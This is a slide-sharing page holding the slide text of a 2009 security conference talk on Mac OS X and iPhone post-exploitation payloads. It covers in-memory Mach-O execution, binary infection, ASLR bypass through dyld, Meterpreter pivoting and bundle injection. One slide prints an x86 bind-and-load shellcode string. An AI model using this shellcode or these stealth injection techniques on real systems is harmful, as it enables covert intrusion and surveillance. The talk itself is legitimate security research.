Overview of Android binder IPC implementationOverview of Android binder IPC implementation
Overview of Android binder IPC implementation
 
Android IPC Mechanism
Android IPC MechanismAndroid IPC Mechanism
Android IPC Mechanism
 
Patching Windows Executables with the Backdoor Factory | DerbyCon 2013
Patching Windows Executables with the Backdoor Factory | DerbyCon 2013Patching Windows Executables with the Backdoor Factory | DerbyCon 2013
Patching Windows Executables with the Backdoor Factory | DerbyCon 2013
 
Low Level View of Android System Architecture
Low Level View of Android System ArchitectureLow Level View of Android System Architecture
Low Level View of Android System Architecture
 
Don't Tell Joanna the Virtualized Rootkit is Dead (Blackhat 2007)
Don't Tell Joanna the Virtualized Rootkit is Dead (Blackhat 2007)Don't Tell Joanna the Virtualized Rootkit is Dead (Blackhat 2007)
Don't Tell Joanna the Virtualized Rootkit is Dead (Blackhat 2007)
 

Ähnlich wie Connect to the local port and pivot through the compromised machine

Inside the Matrix,How to Build Transparent Sandbox for Malware Analysis
Inside the Matrix,How to Build Transparent Sandbox for Malware AnalysisInside the Matrix,How to Build Transparent Sandbox for Malware Analysis
Inside the Matrix,How to Build Transparent Sandbox for Malware AnalysisChong-Kuan Chen
 
13th Symposium of Association of Anti Virus Asia Researchers (AAVAR 2010) con...
13th Symposium of Association of Anti Virus Asia Researchers (AAVAR 2010) con...13th Symposium of Association of Anti Virus Asia Researchers (AAVAR 2010) con...
13th Symposium of Association of Anti Virus Asia Researchers (AAVAR 2010) con...Aditya K Sood
 
Matrosov, rodionov win32 flamer. reverse engineering and framework reconstr...
Matrosov, rodionov   win32 flamer. reverse engineering and framework reconstr...Matrosov, rodionov   win32 flamer. reverse engineering and framework reconstr...
Matrosov, rodionov win32 flamer. reverse engineering and framework reconstr...DefconRussia
 
Using Smalltalk for controlling robotics systems
Using Smalltalk for controlling robotics systemsUsing Smalltalk for controlling robotics systems
Using Smalltalk for controlling robotics systemsSerge Stinckwich
 
Fuzzing malware for fun & profit. Applying Coverage-Guided Fuzzing to Find Bu...
Fuzzing malware for fun & profit. Applying Coverage-Guided Fuzzing to Find Bu...Fuzzing malware for fun & profit. Applying Coverage-Guided Fuzzing to Find Bu...
Fuzzing malware for fun & profit. Applying Coverage-Guided Fuzzing to Find Bu...Maksim Shudrak
 
Openflow勉強会 「OpenFlowコントローラを取り巻く状況とその実装」
Openflow勉強会 「OpenFlowコントローラを取り巻く状況とその実装」Openflow勉強会 「OpenFlowコントローラを取り巻く状況とその実装」
Openflow勉強会 「OpenFlowコントローラを取り巻く状況とその実装」Sho Shimizu
 
Automated Penetration Testing With The Metasploit Framework
Automated Penetration Testing With The Metasploit FrameworkAutomated Penetration Testing With The Metasploit Framework
Automated Penetration Testing With The Metasploit FrameworkTom Eston
 
Kernel Recipes 2018 - Mitigating Spectre and Meltdown (and L1TF) - David Wood...
Kernel Recipes 2018 - Mitigating Spectre and Meltdown (and L1TF) - David Wood...Kernel Recipes 2018 - Mitigating Spectre and Meltdown (and L1TF) - David Wood...
Kernel Recipes 2018 - Mitigating Spectre and Meltdown (and L1TF) - David Wood...Anne Nicolas
 
Peyton jones-2011-parallel haskell-the_future
Peyton jones-2011-parallel haskell-the_futurePeyton jones-2011-parallel haskell-the_future
Peyton jones-2011-parallel haskell-the_futureTakayuki Muranushi
 
Simon Peyton Jones: Managing parallelism
Simon Peyton Jones: Managing parallelismSimon Peyton Jones: Managing parallelism
Simon Peyton Jones: Managing parallelismSkills Matter
 
The Hacking Games - Operation System Vulnerabilities Meetup 29112022
The Hacking Games - Operation System Vulnerabilities Meetup 29112022The Hacking Games - Operation System Vulnerabilities Meetup 29112022
The Hacking Games - Operation System Vulnerabilities Meetup 29112022lior mazor
 

Ähnlich wie Connect to the local port and pivot through the compromised machine (20)

XS Boston 2008 XenLoop
XS Boston 2008 XenLoopXS Boston 2008 XenLoop
XS Boston 2008 XenLoop
 
Wielding a cortana
Wielding a cortanaWielding a cortana
Wielding a cortana
 
Inside the Matrix,How to Build Transparent Sandbox for Malware Analysis
Inside the Matrix,How to Build Transparent Sandbox for Malware AnalysisInside the Matrix,How to Build Transparent Sandbox for Malware Analysis
Inside the Matrix,How to Build Transparent Sandbox for Malware Analysis
 
Deep Dive into WinRT
Deep Dive into WinRTDeep Dive into WinRT
Deep Dive into WinRT
 
13th Symposium of Association of Anti Virus Asia Researchers (AAVAR 2010) con...
13th Symposium of Association of Anti Virus Asia Researchers (AAVAR 2010) con...13th Symposium of Association of Anti Virus Asia Researchers (AAVAR 2010) con...
13th Symposium of Association of Anti Virus Asia Researchers (AAVAR 2010) con...
 
Eusecwest
EusecwestEusecwest
Eusecwest
 
Matrosov, rodionov win32 flamer. reverse engineering and framework reconstr...
Matrosov, rodionov   win32 flamer. reverse engineering and framework reconstr...Matrosov, rodionov   win32 flamer. reverse engineering and framework reconstr...
Matrosov, rodionov win32 flamer. reverse engineering and framework reconstr...
 
Using Smalltalk for controlling robotics systems
Using Smalltalk for controlling robotics systemsUsing Smalltalk for controlling robotics systems
Using Smalltalk for controlling robotics systems
 
Fuzzing malware for fun & profit. Applying Coverage-Guided Fuzzing to Find Bu...
Fuzzing malware for fun & profit. Applying Coverage-Guided Fuzzing to Find Bu...Fuzzing malware for fun & profit. Applying Coverage-Guided Fuzzing to Find Bu...
Fuzzing malware for fun & profit. Applying Coverage-Guided Fuzzing to Find Bu...
 
Openflow勉強会 「OpenFlowコントローラを取り巻く状況とその実装」
Openflow勉強会 「OpenFlowコントローラを取り巻く状況とその実装」Openflow勉強会 「OpenFlowコントローラを取り巻く状況とその実装」
Openflow勉強会 「OpenFlowコントローラを取り巻く状況とその実装」
 
Understand study
Understand studyUnderstand study
Understand study
 
Userland Hooking in Windows
Userland Hooking in WindowsUserland Hooking in Windows
Userland Hooking in Windows
 
Intrusion Techniques
Intrusion TechniquesIntrusion Techniques
Intrusion Techniques
 
Messing around avs
Messing around avsMessing around avs
Messing around avs
 
Automated Penetration Testing With The Metasploit Framework
Automated Penetration Testing With The Metasploit FrameworkAutomated Penetration Testing With The Metasploit Framework
Automated Penetration Testing With The Metasploit Framework
 
about botnets
about botnetsabout botnets
about botnets
 
Kernel Recipes 2018 - Mitigating Spectre and Meltdown (and L1TF) - David Wood...
Kernel Recipes 2018 - Mitigating Spectre and Meltdown (and L1TF) - David Wood...Kernel Recipes 2018 - Mitigating Spectre and Meltdown (and L1TF) - David Wood...
Kernel Recipes 2018 - Mitigating Spectre and Meltdown (and L1TF) - David Wood...
 
Peyton jones-2011-parallel haskell-the_future
Peyton jones-2011-parallel haskell-the_futurePeyton jones-2011-parallel haskell-the_future
Peyton jones-2011-parallel haskell-the_future
 
Simon Peyton Jones: Managing parallelism
Simon Peyton Jones: Managing parallelismSimon Peyton Jones: Managing parallelism
Simon Peyton Jones: Managing parallelism
 
The Hacking Games - Operation System Vulnerabilities Meetup 29112022
The Hacking Games - Operation System Vulnerabilities Meetup 29112022The Hacking Games - Operation System Vulnerabilities Meetup 29112022
The Hacking Games - Operation System Vulnerabilities Meetup 29112022
 

Mehr von Vincenzo Iozzo

A tale of mobile threats
A tale of mobile threatsA tale of mobile threats
A tale of mobile threatsVincenzo Iozzo
 
Stale pointers are the new black
Stale pointers are the new blackStale pointers are the new black
Stale pointers are the new blackVincenzo Iozzo
 
Stale pointers are the new black - white paper
Stale pointers are the new black - white paperStale pointers are the new black - white paper
Stale pointers are the new black - white paperVincenzo Iozzo
 
Everybody be cool, this is a ROPpery - White paper
Everybody be cool, this is a ROPpery - White paperEverybody be cool, this is a ROPpery - White paper
Everybody be cool, this is a ROPpery - White paperVincenzo Iozzo
 
Everybody be cool, this is a ROPpery
Everybody be cool, this is a ROPperyEverybody be cool, this is a ROPpery
Everybody be cool, this is a ROPperyVincenzo Iozzo
 
0-knowledge fuzzing white paper
0-knowledge fuzzing white paper0-knowledge fuzzing white paper
0-knowledge fuzzing white paperVincenzo Iozzo
 
Fun and Games with Mac OS X and iPhone Payloads White Paper, Black Hat EU 2009
Fun and Games with Mac OS X and iPhone Payloads White Paper, Black Hat EU 2009Fun and Games with Mac OS X and iPhone Payloads White Paper, Black Hat EU 2009
Fun and Games with Mac OS X and iPhone Payloads White Paper, Black Hat EU 2009Vincenzo Iozzo
 
Let your Mach-O fly, Black Hat DC 2009
Let your Mach-O fly, Black Hat DC 2009Let your Mach-O fly, Black Hat DC 2009
Let your Mach-O fly, Black Hat DC 2009Vincenzo Iozzo
 
Let Your Mach-O Fly, Black Hat DC 2009
Let Your Mach-O Fly, Black Hat DC 2009Let Your Mach-O Fly, Black Hat DC 2009
Let Your Mach-O Fly, Black Hat DC 2009Vincenzo Iozzo
 
Post exploitation techniques on OSX and Iphone, EuSecWest 2009
Post exploitation techniques on OSX and Iphone, EuSecWest 2009Post exploitation techniques on OSX and Iphone, EuSecWest 2009
Post exploitation techniques on OSX and Iphone, EuSecWest 2009Vincenzo Iozzo
 
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...Vincenzo Iozzo
 

Mehr von Vincenzo Iozzo (12)

A tale of mobile threats
A tale of mobile threatsA tale of mobile threats
A tale of mobile threats
 
Stale pointers are the new black
Stale pointers are the new blackStale pointers are the new black
Stale pointers are the new black
 
Stale pointers are the new black - white paper
Stale pointers are the new black - white paperStale pointers are the new black - white paper
Stale pointers are the new black - white paper
 
Everybody be cool, this is a ROPpery - White paper
Everybody be cool, this is a ROPpery - White paperEverybody be cool, this is a ROPpery - White paper
Everybody be cool, this is a ROPpery - White paper
 
Everybody be cool, this is a ROPpery
Everybody be cool, this is a ROPperyEverybody be cool, this is a ROPpery
Everybody be cool, this is a ROPpery
 
0-knowledge fuzzing white paper
0-knowledge fuzzing white paper0-knowledge fuzzing white paper
0-knowledge fuzzing white paper
 
0-knowledge fuzzing
0-knowledge fuzzing0-knowledge fuzzing
0-knowledge fuzzing
 
Fun and Games with Mac OS X and iPhone Payloads White Paper, Black Hat EU 2009
Fun and Games with Mac OS X and iPhone Payloads White Paper, Black Hat EU 2009Fun and Games with Mac OS X and iPhone Payloads White Paper, Black Hat EU 2009
Fun and Games with Mac OS X and iPhone Payloads White Paper, Black Hat EU 2009
 
Let your Mach-O fly, Black Hat DC 2009
Let your Mach-O fly, Black Hat DC 2009Let your Mach-O fly, Black Hat DC 2009
Let your Mach-O fly, Black Hat DC 2009
 
Let Your Mach-O Fly, Black Hat DC 2009
Let Your Mach-O Fly, Black Hat DC 2009Let Your Mach-O Fly, Black Hat DC 2009
Let Your Mach-O Fly, Black Hat DC 2009
 
Post exploitation techniques on OSX and Iphone, EuSecWest 2009
Post exploitation techniques on OSX and Iphone, EuSecWest 2009Post exploitation techniques on OSX and Iphone, EuSecWest 2009
Post exploitation techniques on OSX and Iphone, EuSecWest 2009
 
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone, Black Hat U...
 

Kürzlich hochgeladen

Google AI Hackathon: LLM based Evaluator for RAG
Google AI Hackathon: LLM based Evaluator for RAGGoogle AI Hackathon: LLM based Evaluator for RAG
Google AI Hackathon: LLM based Evaluator for RAGSujit Pal
 
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...Neo4j
 
Enhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for PartnersEnhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for PartnersThousandEyes
 
Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slidevu2urc
 
Maximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxMaximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxOnBoard
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Servicegiselly40
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityPrincipled Technologies
 
Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...Alan Dix
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Drew Madelung
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfEnterprise Knowledge
 
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Igalia
 
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 3652toLead Limited
 
Unblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesUnblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesSinan KOZAK
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptxHampshireHUG
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationRadu Cotescu
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdfhans926745
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationRidwan Fadjar
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonetsnaman860154
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonAnna Loughnan Colquhoun
 
Breaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountBreaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountPuma Security, LLC
 

Kürzlich hochgeladen (20)

Google AI Hackathon: LLM based Evaluator for RAG
Google AI Hackathon: LLM based Evaluator for RAGGoogle AI Hackathon: LLM based Evaluator for RAG
Google AI Hackathon: LLM based Evaluator for RAG
 
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
Neo4j - How KGs are shaping the future of Generative AI at AWS Summit London ...
 
Enhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for PartnersEnhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for Partners
 
Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slide
 
Maximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxMaximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptx
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Service
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivity
 
Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...Swan(sea) Song – personal research during my six years at Swansea ... and bey...
Swan(sea) Song – personal research during my six years at Swansea ... and bey...
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
 
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
 
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
Tech-Forward - Achieving Business Readiness For Copilot in Microsoft 365
 
Unblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesUnblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen Frames
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organization
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 Presentation
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonets
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt Robison
 
Breaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountBreaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path Mount
 

Connect to the local port and pivot through the compromised machine

  • 1. Fun and Games with Mac OS X and iPhone Payloads Charlie MIller Vincenzo Iozzo Independent Security Evaluators Zynamics & Secure Network cmiller@securityevaluators.com vincenzo.iozzo@zynamics.com
  • 2. Who we are Charlie First to hack the iPhone, G1 Phone Pwn2Own winner, 2008, 2009 Author: Mac Hackers Handbook Chairman, No More Free Bugs foundation ;) Vincenzo Student at Politecnico di Milano Security Consultant at Secure Network srl Reverse Engineer at Zynamics GmbH
  • 5. Mac OS X and iPhone stats Mac OS X market share continues to rise Net Applications’ Feb 2009 report: 9.6% of browsers were on Mac OS X Some academics suggest 16% is the tipping point for malware authors 50% of smartphone browsers in US are iPhone (33% for the world) 9/10 girls like Macs better than PC’s
  • 6. Some previous work OS X Heap Exploitation Techniques, nemo Mac OS X Shellcode Tricks, H D Moore Breaking Mac OS X, Archibald, van Sprundel Abusing Mach on Mac OS X, nemo Hacking Macs for Fun and Profit, Dai Zovi, Miller Engineering Heap Overflow Exploits with JavaScript, Daniel, Honoroff, Miller Month of Apple Bugs
  • 7. This talk Focus is on post-exploitation You have to get EIP/PC Interesting payloads for Mac OS X Integrated in Metasploit for easy access Up to date iPhone security information (as discovered 2 days ago) First payloads for factory iPhone 2 First time ways to inject executable code into a process in iPhone 2.0 is discussed
  • 9. Mach-O file • Header structure: information on the target architecture and options to interpret the file • Load commands: symbol table location, registers state • Segments: define regions of virtual memory, contain sections with code or data
  • 11. Segment and Sections segment section Virtual address Virtual memory File Offset File Size Virtual Address Virtual memory File Offset 0x1000 size 0x1000 0x0 0x1000 0x1d54 size 0xd54 0x275
  • 12. Let your Mach-O fly! • Userland-exec • Execute an application without the kernel • Technique was presented at BH DC for Mac OS X • This talk covers technique and some applications of it to Mac OS X
  • 13. WWW • Who: an attacker with a remote code execution in his pocket • What: the attack is two-staged. First the shellcode receives the binary to exec, then runs the auto-loader contained in the prepared binary • Why: anti-forensics, high level languages payloads (aka writing assembly sucks), more!
  • 14. What kind of binaries? • Any Mach-O file, from ls to Safari • In real life, probably stuff like keyboard sniffers, other not- so-nice programs
  • 15. What normally happens You want to run your binary: mybin execve system call is called Kernel parses the binary, maps code and data, and creates a stack for the binary Dyld resolves dependencies and jumps to the binary entry point
  • 16. What Mach-O on the Fly does Craft a binary which contains a stack identical to the one created by the kernel and a piece of code which mimics the kernel Send binary to exploited process Do some cleanup, jump to the dynamic linker entry point (as the kernel would do)
  • 18. Stack • Mach-O file base address • Command line arguments • Environment variables • Execution path • All padded
  • 19. Stack representation Mach-o Stack Pointer Address Argc Argv[] 0 Envp[] 0 exec_path ptr 0 exec_path Argv[] strings Envp[] strings
  • 20. Auto-loader • Embedded in binary • Impersonates the kernel • Un-maps the old binary • Maps the new one
  • 21. Auto-loader description • Parses the binary • Reads the virtual addresses of the injected binary segments • Unloads the attacked binary segments pointed by the virtual addresses • Loads the injected binary segments
  • 22. Auto-loader description(2) • Maps the crafted stack referenced by __PAGEZERO • Cleans registers • Cleans some libSystem variables • Jumps to dynamic linker entry point
  • 23. We do like pictures, don’t we? Victim’s process address space TEXT DATA LINKEDIT SEGMENT -N TEXT DATA LINKEDIT SEGMENT- N
  • 24. Infected binary • We need to find a place to store the auto- loader and the crafted stack • __PAGEZERO infection technique • Cavity infector technique
  • 25. __PAGEZERO INFECTION • Change __PAGEZERO protection flags with a custom value • Store the crafted stack and the auto-loader code at the end of the binary • Point __PAGEZERO to the crafted stack • Overwrite the first bytes of the file with the auto-loader address
  • 26. Binary layout MODIFIED HEADER INFECTED __PAGEZERO load commands and segments sections and binary data SHELLCODE CRAFTED STACK
  • 27. Let’s clean something up • We need to clean up some variables in order to make the attack work • They are stored in libSystem • They are not exported • ASLR for libraries makes this non-trivial • No dlopen/dlsym combo
  • 28. Defeat ASLR using the dynamic linker The dynamic linker has a list of the linked libraries We can access this list by using some of its function Remember that we want to perform everything in memory
  • 29. Useful dyld functions • _dyld_image_count() used to retrieve the number of linked libraries of a process. • _dyld_get_image_header() used to retrieve the base address of each library. • _dyld_get_image_name() used to retrieve the name of a given library.
  • 30. Find ‘em • Parse dyld load commands • Retrieve __LINKEDIT address • Iterate dyld symbol table and search for the functions name in __LINKEDIT
  • 31. Back to libSystem • Non-exported symbols are taken out from the symbol table when loaded • Open libSystem binary, find the variables in the symbol table • Adjust variables to the base address of the in-memory __DATA segment
  • 32. Results • Run a binary on an arbitrary machine • No traces on the hard-disk • No execve(), the kernel doesn’t know about us • It works with every binary • It is possible to write payloads in a high level language
  • 33. Mach-O Fly Payload (x86) Not much bigger than bind shellcode A lot of the work is in preparing the binary to send char shellcode[] = "x31xc0x50x40x50x40x50x50xb0x61xcdx80x99x89xc6x52" "x52x52x68x00x02x04xd2x89xe3x6ax10x53x56x52xb0x68" "xcdx80x52x56x52xb0x6axcdx80x52x52x56x52xb0x1excd" "x80x89xc3x31xc0x50x48x50xb8x02x10x00x00x50xb8x07" "x00x00x00x50xb9x40x4bx4cx00x51x31xc0x50x50xb8xc5" "x00x00x00xcdx80x89xc7x31xc0x50x50x6ax40x51x57x53" "x53xb8x1dx00x00x00xcdx80x57x8bx07x8dx04x38xffxe0"
  • 34. Demo
  • 36. Meterpreter An advanced Metasploit payload Bring along your own tools, don’t trust system tools Stealthier instead of exec’ing /bin/sh and then /bin/ls, all code runs within the exploited process Meterpreter doesn’t appear on disk Modular: Can upload modules which include additional functionality Better than a shell Upload, download, and edit files on the fly Redirect traffic to other hosts (pivoting)
  • 37. Pivoting Attacker Surf to intranet sites Intranet Attack other machines Metasploit
  • 38. Pivoting Attacker Surf to intranet sites Intranet Attack other machines Metasploit
  • 39. Pivoting Attacker Bind channel to local port Surf to intranet sites Intranet Attack other machines Metasploit
  • 40. Pivoting Attacker Bind channel to local port Surf to intranet sites Intranet Attack other machines Metasploit
  • 41. Pivoting Attacker Bind channel to local port Surf to intranet sites Intranet Attack other machines Metasploit
  • 42. Pivoting Attacker Bind channel to local port Surf to intranet sites Intranet Attack other machines Metasploit
  • 43. Pivoting Attacker Bind channel to local port Surf to intranet sites Intranet Attack other machines Metasploit
  • 44. Pivoting Attacker Bind channel to local port Surf to intranet sites Intranet Attack other machines Metasploit
  • 45. Meterpreter for Windows Target Metasploit
  • 46. Meterpreter for Windows Target Metasploit
  • 47. Meterpreter for Windows Exploit with DLL inject payload Target Metasploit
  • 48. Meterpreter for Windows Exploit with DLL inject payload Target Metasploit
  • 49. Meterpreter for Windows Exploit with DLL inject payload Target Upload main Meterpreter DLL Metasploit
  • 50. Meterpreter for Windows Exploit with DLL inject payload Target Upload main Meterpreter DLL Metasploit Meterpreter
  • 51. Meterpreter for Windows Exploit with DLL inject payload Target Upload main Meterpreter DLL Metasploit Meterpreter
  • 52. Meterpreter for Windows Exploit with DLL inject payload Target Upload main Meterpreter DLL Metasploit Meterpreter Upload Meterpreter components Enable Ruby client code
  • 53. Meterpreter for Windows Exploit with DLL inject payload Target Upload main Meterpreter DLL Metasploit Meterpreter Upload Meterpreter components stdapi Enable Ruby client code
  • 54. Meterpreter for Windows Exploit with DLL inject payload Target Upload main Meterpreter DLL Metasploit Meterpreter Upload Meterpreter components stdapi stdapi Enable Ruby client code
  • 55. Meterpreter for Windows Exploit with DLL inject payload Target Upload main Meterpreter DLL Metasploit Meterpreter Upload Meterpreter components stdapi stdapi Enable Ruby client code priv
  • 56. Meterpreter for Windows Exploit with DLL inject payload Target Upload main Meterpreter DLL Metasploit Meterpreter Upload Meterpreter components stdapi stdapi Enable Ruby client code priv priv
  • 57. Meterpreter for Windows Exploit with DLL inject payload Target Upload main Meterpreter DLL Metasploit Meterpreter Upload Meterpreter components stdapi stdapi Enable Ruby client code priv priv Communicate over Meterpreter channels
  • 58. Meterpreter for Windows Exploit with DLL inject payload Target Upload main Meterpreter DLL Metasploit Meterpreter Upload Meterpreter components stdapi stdapi Enable Ruby client code priv priv Communicate over Meterpreter channels
  • 59. “Macterpreter” Port of Metasploit’s Meterpreter to Mac OS X targets Uses inject_bundle Metasploit payload Uses NSCreateObjectFileImageFromMemory(), NSLinkModule() Doesn’t touch disk, doesn’t show up with vmmap Main Macterpreter bundle is responsible for channels, loading extensions Binary compatible with Windows Meterpreter Shares most of the source with it
  • 60. Injectable Bundle Skeleton #include <stdio.h> extern void init(void) __attribute__ ((constructor)); void init(void) { // Called implicitly when loaded } int run(int socket_fd) { // Called explicitly by inject_payload } extern void fini(void) __attribute__ ((destructor)); void fini(void) { // Called implicitly when/if unloaded } Compile with: % cc -bundle -o foo.bundle foo.c
  • 61. Mach-O Staged Bundle Injection Payload First stage (remote_execution_loop, ~250 bytes) Establish TCP connection Read and execute code fragment, write returned result back to socket Second stage (inject_bundle, ~350 bytes) Read bundle file into mmap’d memory Lookup and call NSCreateObjectFileImageFromMemory() and NSLinkModule() in dyld via familiar “ror 13” hash method Third stage (compiled bundle, can be as large as needed) Does whatever you want in C/C++/Obj-C using any system Frameworks! Pure in-memory injection, not written to disk
  • 62. macapi extension Contains most of what the Windows stdapi extension provides Filesystem: ls, mkdir, rm, upload, download, edit, etc Pivoting: TCP channels Processes: ps, kill, getpid, execute, etc Network: ifconfig Misc: Reboot, sysinfo, isight image capture
